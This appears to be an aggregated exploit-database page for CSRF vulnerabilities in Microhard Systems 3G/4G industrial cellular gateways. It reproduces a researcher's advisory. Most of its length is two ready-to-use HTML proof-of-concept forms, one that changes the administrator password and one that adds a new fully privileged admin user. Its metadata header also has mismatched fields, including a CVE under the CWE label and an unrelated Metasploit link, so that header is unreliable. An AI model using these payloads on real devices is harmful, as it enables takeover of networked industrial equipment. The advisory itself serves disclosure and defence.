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vendor:
IPn4G
by:
Security Affairs
9.8
CVSS
CRITICAL
Cross-Site Request Forgery (CSRF)
352
CWE
Product Name: IPn4G
Affected Version From: IPn4G 1.1.0 build 1098
Affected Version To: Dragon-LTE 1.1.0 build 1036
Patch Exists: YES
Related CWE: CVE-2020-14072
CPE: cpe:h:microhard_systems:ipn4g
Metasploit: N/A
Other Scripts: https://www.infosecmatter.com/metasploit-module-library/?mm=exploit/multi/misc/consul_service_exec
Platforms Tested: Windows, Linux, Mac
2020

Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway CSRF Vulnerabilities

Microhard Systems Inc. IPn4G, IPn3Gb, Bullet-3G, VIP4Gb, VIP4G, VIP4G-WiFi-N, IPn3Gii, IPn4Gii, BulletPlus, and Dragon-LTE devices are vulnerable to Cross-Site Request Forgery (CSRF) attacks. An attacker can exploit this vulnerability by sending a malicious request to the target device. This can allow an attacker to perform administrative actions on the device, such as changing the device's configuration, or even disabling the device.

Mitigation:

Users should ensure that their devices are running the latest version of the firmware. Additionally, users should ensure that their devices are not exposed to the public internet.
Source

Exploit-DB raw data:

Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway CSRF Vulnerabilities


Vendor: Microhard Systems Inc.
Product web page: http://www.microhardcorp.com
Affected version: IPn4G 1.1.0 build 1098
                  IPn3Gb 2.2.0 build 2160
                  IPn4Gb 1.1.6 build 1184-14
                  IPn4Gb 1.1.0 Rev 2 build 1090-2
                  IPn4Gb 1.1.0 Rev 2 build 1086
                  Bullet-3G 1.2.0 Rev A build 1032
                  VIP4Gb 1.1.6 build 1204
                  VIP4G 1.1.6 Rev 3.0 build 1184-14
                  VIP4G-WiFi-N 1.1.6 Rev 2.0.0 build 1196
                  IPn3Gii / Bullet-3G 1.2.0 build 1076
                  IPn4Gii / Bullet-LTE 1.2.0 build 1078
                  BulletPlus 1.3.0 build 1036
                  Dragon-LTE 1.1.0 build 1036

Summary: The new IPn4Gb provides a rugged, industrial strength wireless solution
using the new and ultra fast 4G LTE cellular network infrastructure. The IPn4Gb
features integrated Firewall, IPSec / VPN & GRE Tunneling, IP/MAC Access Control
Lists. The IPn4Gb can transport critical data to and from SMS, Ethernet and Serial
RS232/485/422 devices!

The IPn3Gb provides a fast, secure industrial strength wireless solution that uses
the widespread deployment of cellular network infrastructure for critical data collection.
From remote meters and sensors, to providing mobile network access, the IPn3Gb delivers!
The IPn3Gb is a powerful HSPA+ and Quad Band GSM device compatible almost anywhere. It
provides robust and secure wireless communication of Serial, USB and Ethernet data.

The all new Bullet-3G provides a compact, robust, feature packed industrial strength
wireless solution using fast 3G/HSPA+ network infrastructure. The Bullet-3G takes things
to the next level by providing features such as Ethernet with PoE, RS232 Serial port
and 2x Programmable I/O. Offering enhanced, 'Secure Communication' with its integrated
Firewall, IPSec VPN Tunneling, IP/MAC Access Control Lists, the Bullet-3G is a solution
worth looking at!

The all new Dragon-LTE provides a feature packed, compact OEM, industrial strength
wireless IoT & M2M solution. Connect any device, wired or wireless, and provide remote
cellular access using the Dragon-LTE. The Dragon-LTE features a OEM design for tight
system integration and design flexibility with dual Ethernet Ports and high power
802.11b/g/n WIFI. With its integrated Firewall, IPSec VPN Tunneling and IP/MAC Access
Control Lists, the Dragon-LTE provides a solution for any cellular application!

The new VIP4Gb provides a rugged, industrial strength wireless solution using 4G LTE
network infrastructure for critical data communications. The VIP4Gb provides simultaneous
network connections for 802.11a/b/g/n WiFi devices, 4 x 10/100/1000 Ethernet ports, Digital
I/O, and a RS232/RS485 port, resulting in a communication device that can be deployed in
any application! The VIP4Gb is a powerful 4G LTE device compatible on any cellular network.
It provides robust and secure wireless communication of Serial, Ethernet & WiFi data.

Desc: The application interface allows users to perform certain actions via HTTP requests
without performing any validity checks to verify the requests. This can be exploited to
perform certain actions with administrative privileges if a logged-in user visits a malicious
web site.

Tested on: httpd-ssl-1.0.0
           Linux 2.6.32.9 (Bin@DProBuilder) (gcc version 4.4.3)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2018-5478
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5478.php


13.03.2018

--


CSRF Change Admin password:
---------------------------

<html>
  <body>
    <form action="http://192.168.1.1/cgi-bin/webif/system-acl.sh" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="submit" value="1" />
      <input type="hidden" name="pw1" value="nimda" />
      <input type="hidden" name="pw2" value="nimda" />
      <input type="hidden" name="passwdchange" value=" Change Passwd " />
      <input type="hidden" name="user_add" value="" />
      <input type="hidden" name="password_add" value="" />
      <input type="hidden" name="password2_add" value="" />
      <input type="hidden" name="Carrier_enable" value="0" />
      <input type="hidden" name="Carrier_Status" value="0" />
      <input type="hidden" name="Carrier_Settings" value="0" />
      <input type="hidden" name="Carrier_Keepalive" value="0" />
      <input type="hidden" name="Carrier_TrafficWatchdog" value="0" />
      <input type="hidden" name="Carrier_DynamicDNS" value="0" />
      <input type="hidden" name="Carrier_SMSConfig" value="0" />
      <input type="hidden" name="Carrier_SMS" value="0" />
      <input type="hidden" name="Carrier_DataUsage" value="0" />
      <input type="hidden" name="Comport_enable" value="0" />
      <input type="hidden" name="Comport_Status" value="0" />
      <input type="hidden" name="Comport_Com0" value="0" />
      <input type="hidden" name="Comport_Com1" value="0" />
      <input type="hidden" name="Firewall_enable" value="0" />
      <input type="hidden" name="Firewall_Status" value="0" />
      <input type="hidden" name="Firewall_General" value="0" />
      <input type="hidden" name="Firewall_Rules" value="0" />
      <input type="hidden" name="Firewall_PortForwarding" value="0" />
      <input type="hidden" name="Firewall_MACIPList" value="0" />
      <input type="hidden" name="Firewall_Reset" value="0" />
      <input type="hidden" name="GPS_enable" value="0" />
      <input type="hidden" name="GPS_Location" value="0" />
      <input type="hidden" name="GPS_Settings" value="0" />
      <input type="hidden" name="GPS_Report" value="0" />
      <input type="hidden" name="GPS_GpsGate" value="0" />
      <input type="hidden" name="GPS_Recorder" value="0" />
      <input type="hidden" name="GPS_LoadRecord" value="0" />
      <input type="hidden" name="I/O_enable" value="0" />
      <input type="hidden" name="I/O_Status" value="0" />
      <input type="hidden" name="I/O_OUTPUT" value="0" />
      <input type="hidden" name="Network_enable" value="0" />
      <input type="hidden" name="Network_Status" value="0" />
      <input type="hidden" name="Network_LAN" value="0" />
      <input type="hidden" name="Network_Routes" value="0" />
      <input type="hidden" name="Network_GRE" value="0" />
      <input type="hidden" name="Network_PIMSM" value="0" />
      <input type="hidden" name="Network_SNMP" value="0" />
      <input type="hidden" name="Network_sdpServer" value="0" />
      <input type="hidden" name="Network_LocalMonitor" value="0" />
      <input type="hidden" name="Network_Port" value="0" />
      <input type="hidden" name="System_enable" value="0" />
      <input type="hidden" name="System_Settings" value="0" />
      <input type="hidden" name="System_AccessControl" value="0" />
      <input type="hidden" name="System_Services" value="0" />
      <input type="hidden" name="System_Maintenance" value="0" />
      <input type="hidden" name="System_Reboot" value="0" />
      <input type="hidden" name="Tools_enable" value="0" />
      <input type="hidden" name="Tools_Discovery" value="0" />
      <input type="hidden" name="Tools_NetflowReport" value="0" />
      <input type="hidden" name="Tools_NMSSettings" value="0" />
      <input type="hidden" name="Tools_EventReport" value="0" />
      <input type="hidden" name="Tools_Modbus" value="0" />
      <input type="hidden" name="Tools_Websocket" value="0" />
      <input type="hidden" name="Tools_SiteSurvey" value="0" />
      <input type="hidden" name="Tools_Ping" value="0" />
      <input type="hidden" name="Tools_TraceRoute" value="0" />
      <input type="hidden" name="Tools_NetworkTraffic" value="0" />
      <input type="hidden" name="VPN_enable" value="0" />
      <input type="hidden" name="VPN_Summary" value="0" />
      <input type="hidden" name="VPN_GatewayToGateway" value="0" />
      <input type="hidden" name="VPN_ClientToGateway" value="0" />
      <input type="hidden" name="VPN_VPNClientAccess" value="0" />
      <input type="hidden" name="VPN_CertificateManagement" value="0" />
      <input type="hidden" name="VPN_CiscoEasyVPNClient" value="0" />
      <input type="submit" value="Change" />
    </form>
  </body>
</html>


CSRF Add Admin:
---------------

<html>
  <body>
    <form action="http://192.168.1.1/cgi-bin/webif/system-acl.sh" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="submit" value="1" />
      <input type="hidden" name="pw1" value="" />
      <input type="hidden" name="pw2" value="" />
      <input type="hidden" name="user_add" value="testingus" />
      <input type="hidden" name="password_add" value="123456" />
      <input type="hidden" name="password2_add" value="123456" />
      <input type="hidden" name="Carrier_enable" value="1" />
      <input type="hidden" name="Carrier_Status" value="1" />
      <input type="hidden" name="Carrier_Settings" value="1" />
      <input type="hidden" name="Carrier_Keepalive" value="1" />
      <input type="hidden" name="Carrier_TrafficWatchdog" value="1" />
      <input type="hidden" name="Carrier_DynamicDNS" value="1" />
      <input type="hidden" name="Carrier_SMSConfig" value="1" />
      <input type="hidden" name="Carrier_SMS" value="1" />
      <input type="hidden" name="Carrier_DataUsage" value="1" />
      <input type="hidden" name="Comport_enable" value="1" />
      <input type="hidden" name="Comport_Status" value="1" />
      <input type="hidden" name="Comport_Com0" value="1" />
      <input type="hidden" name="Comport_Com1" value="1" />
      <input type="hidden" name="Firewall_enable" value="1" />
      <input type="hidden" name="Firewall_Status" value="1" />
      <input type="hidden" name="Firewall_General" value="1" />
      <input type="hidden" name="Firewall_Rules" value="1" />
      <input type="hidden" name="Firewall_PortForwarding" value="1" />
      <input type="hidden" name="Firewall_MACIPList" value="1" />
      <input type="hidden" name="Firewall_Reset" value="1" />
      <input type="hidden" name="GPS_enable" value="1" />
      <input type="hidden" name="GPS_Location" value="1" />
      <input type="hidden" name="GPS_Settings" value="1" />
      <input type="hidden" name="GPS_Report" value="1" />
      <input type="hidden" name="GPS_GpsGate" value="1" />
      <input type="hidden" name="GPS_Recorder" value="1" />
      <input type="hidden" name="GPS_LoadRecord" value="1" />
      <input type="hidden" name="I/O_enable" value="1" />
      <input type="hidden" name="I/O_Status" value="1" />
      <input type="hidden" name="I/O_OUTPUT" value="1" />
      <input type="hidden" name="Network_enable" value="1" />
      <input type="hidden" name="Network_Status" value="1" />
      <input type="hidden" name="Network_LAN" value="1" />
      <input type="hidden" name="Network_Routes" value="1" />
      <input type="hidden" name="Network_GRE" value="1" />
      <input type="hidden" name="Network_PIMSM" value="1" />
      <input type="hidden" name="Network_SNMP" value="1" />
      <input type="hidden" name="Network_sdpServer" value="1" />
      <input type="hidden" name="Network_LocalMonitor" value="1" />
      <input type="hidden" name="Network_Port" value="1" />
      <input type="hidden" name="System_enable" value="1" />
      <input type="hidden" name="System_Settings" value="1" />
      <input type="hidden" name="System_AccessControl" value="1" />
      <input type="hidden" name="System_Services" value="1" />
      <input type="hidden" name="System_Maintenance" value="1" />
      <input type="hidden" name="System_Reboot" value="1" />
      <input type="hidden" name="Tools_enable" value="1" />
      <input type="hidden" name="Tools_Discovery" value="1" />
      <input type="hidden" name="Tools_NetflowReport" value="1" />
      <input type="hidden" name="Tools_NMSSettings" value="1" />
      <input type="hidden" name="Tools_EventReport" value="1" />
      <input type="hidden" name="Tools_Modbus" value="1" />
      <input type="hidden" name="Tools_Websocket" value="1" />
      <input type="hidden" name="Tools_SiteSurvey" value="1" />
      <input type="hidden" name="Tools_Ping" value="1" />
      <input type="hidden" name="Tools_TraceRoute" value="1" />
      <input type="hidden" name="Tools_NetworkTraffic" value="1" />
      <input type="hidden" name="VPN_enable" value="1" />
      <input type="hidden" name="VPN_Summary" value="1" />
      <input type="hidden" name="VPN_GatewayToGateway" value="1" />
      <input type="hidden" name="VPN_ClientToGateway" value="1" />
      <input type="hidden" name="VPN_VPNClientAccess" value="1" />
      <input type="hidden" name="VPN_CertificateManagement" value="1" />
      <input type="hidden" name="VPN_CiscoEasyVPNClient" value="1" />
      <input type="hidden" name="mhadd_user" value="Add User" />
      <input type="submit" value="Request" />
    </form>
  </body>
</html>

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